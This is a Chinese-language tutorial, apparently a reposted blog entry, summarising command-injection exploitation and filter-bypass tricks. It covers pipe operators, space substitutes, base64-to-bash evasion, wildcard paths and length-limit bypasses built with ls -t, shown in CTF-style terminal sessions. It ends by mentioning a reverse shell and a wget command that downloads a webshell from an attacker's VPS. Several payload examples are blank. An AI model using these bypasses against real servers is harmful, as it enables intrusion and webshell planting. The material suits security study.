1. 程式人生 > 實用技巧 >命令執行漏洞利用及繞過方式總結

命令執行漏洞利用及繞過方式總結

命令注入常見的方法

1.常見管道符

  Windows系統支援的管道符

  Linux系統支援的管道符

2.空格過濾

  ${IFS}

  重定向符<>

  %09(需要php環境)

3.黑名單繞過

  拼接

  base64編碼

  單引號,雙引號

  反斜線

  $1,$2等和$@

4.讀檔案繞過

5.萬用字元繞過

6.內斂執行繞過

7.繞過長度限制

  Linux中的>符號和>>符號

  Linux中命令換行

  利用ls -t和>以及換行符繞過長度限制執行命令(檔案構造繞過)

逐一分析

1.常見管道符

Windows系統支援的管道符

|直接執行後面的語句

||如果前面命令是錯的那麼就執行後面的語句,否則只執行前面的語句

&前面和後面命令都要執行,無論前面真假

&&如果前面為假,後面的命令也不執行,如果前面為真則執行兩條命令

Linux系統支援的管道符

|、||、&、&&這四種管道符都存在且用法和Windows系統下一樣,多了一個;管道符,作用和&一樣

2.空格過濾

${IFS}

payload1:

payload2:

payload3:

重定向符<>

payload1:

payload2:

%09(需要php環境)

黑名單繞過

拼接

base64編碼

payload1:

root@kali:~# `echo "Y2F0IGZsYWc="|base64 -d`
this is your flag

payload2:

root@kali:~# echo "Y2F0IGZsYWc="|base64 -d|bash
this is your flag

單引號,雙引號

反斜線

$1,$2等和$@

讀檔案繞過

當cat被過濾時,可以使用如下命令代替

 1 (1)more:一頁一頁的顯示檔案內容
 2 (2)less:與 more 類似,但是比 more 更好的是,他可以[pg dn][pg up]翻頁
3 (3)head:檢視頭幾行 4 (4)tac:從最後一行開始顯示,可以看出 tac 是 cat 的反向顯示 5 (5)tail:檢視尾幾行 6 (6)nl:顯示的時候,順便輸出行號 7 (7)od:以二進位制的方式讀取檔案內容 8 (8)vi:一種編輯器,這個也可以檢視 9 (9)vim:一種編輯器,這個也可以檢視 10 (10)sort:可以檢視 11 (11)uniq:可以檢視 12 (12)file -f:報錯出具體內容

萬用字元繞過

比如

 1 root@kali:~# /???/?[a][t] ?''?''?''?''
 2 this is your flag
 3 xx
 4 cc
 5 xa
 6 /bin/cat: test: 是一個目錄
 7 root@kali:~# /???/?at flag
 8 this is your flag
 9 xx
10 cc
11 xa
12 root@kali:~# /???/?at ????
13 this is your flag
14 xx
15 cc
16 xa
17 /bin/cat: test: 是一個目錄
18 root@kali:~# /???/?[a]''[t] ?''?''?''?''
19 this is your flag
20 xx
21 cc
22 xa
23 /bin/cat: test: 是一個目錄

內斂執行繞過

`命令`和$(命令)都是執行命令的方式

繞過長度限制

Linux中的>符號和>>符號

(1)通過>來建立檔案

(2)通過>將命令結果存入檔案中
使用>命令會將原有檔案內容覆蓋,如果是存入不存在的檔名,那麼就會新建該檔案再存入

(3)>>符號的作用是將字串新增到檔案內容末尾,不會覆蓋原內容

Linux中命令換行

在Linux中,當我們執行檔案中的命令的時候,我們通過在沒有寫完的命令後面加\,可以將一條命令寫在多行
比如一條命令cat flag可以如下表示

既然可以這樣那我們是不是可以在某些限制長度的情況下執行命令,將命令一條一條輸入一個文字中再執行,嘗試一下

root@kali:~# echo "ca\\">cmd
root@kali:~# echo "t\\">>cmd
root@kali:~# echo " fl\\">>cmd
root@kali:~# echo "ag">>cmd
root@kali:~# cat cmd
ca\
t\
 fl\
ag
root@kali:~# sh cmd
this is your flag

用這種方法可以繞過一些長度限制讀取檔案內容

利用ls -t和>以及換行符繞過長度限制執行命令(檔案構造繞過)

linux中,我們使用ls -t命令後,可以將檔名按照時間順序排列出來(後建立的排在前面)

root@kali:~/example# touch a
root@kali:~/example# touch b
root@kali:~/example# touch c
root@kali:~/example# ls -t
c  b  a

我們來看看ls -t>ghtwf01有什麼效果(開始不存在ghtwf01這個檔案)

root@kali:~/example# ls -t>ghtwf01
root@kali:~/example# cat ghtwf01 
ghtwf01
c
b
a

這條命令先執行了建立ghtwf01檔案然後將ls -t的執行結果寫入ghtwf01檔案
我們試試用這些方法來執行命令cat flag

root@kali:~/example# > "ag"
root@kali:~/example# > "fl\\"
root@kali:~/example# > "t \\"
root@kali:~/example# > "ca\\"
root@kali:~/example# ls -t
'ca\'  't \'  'fl\'   ag   flag
root@kali:~/example# ls -t > a
root@kali:~/example# sh a
a: 1: a: not found
this is your flag
a: 6: flag: not found

讀取到了flag內容為this is your flag,無論這個檔案裡面有不有其它內容都能執行
總而言之檔案構造繞過就是如下知識:

linux下可以用 1>a建立檔名為a的空檔案
ls -t>test則會將目錄按時間排序後寫進test檔案中
sh命令可以從一個檔案中讀取命令來執行

反彈shell命令比較長就可以用這種方式去繞過長度限制
如果伺服器能連外網還可以使用命令wget 網址 -O shell.php去執行我們自己vps上面的木馬檔案

參考:https://www.ghtwf01.cn/index.php/archives/273/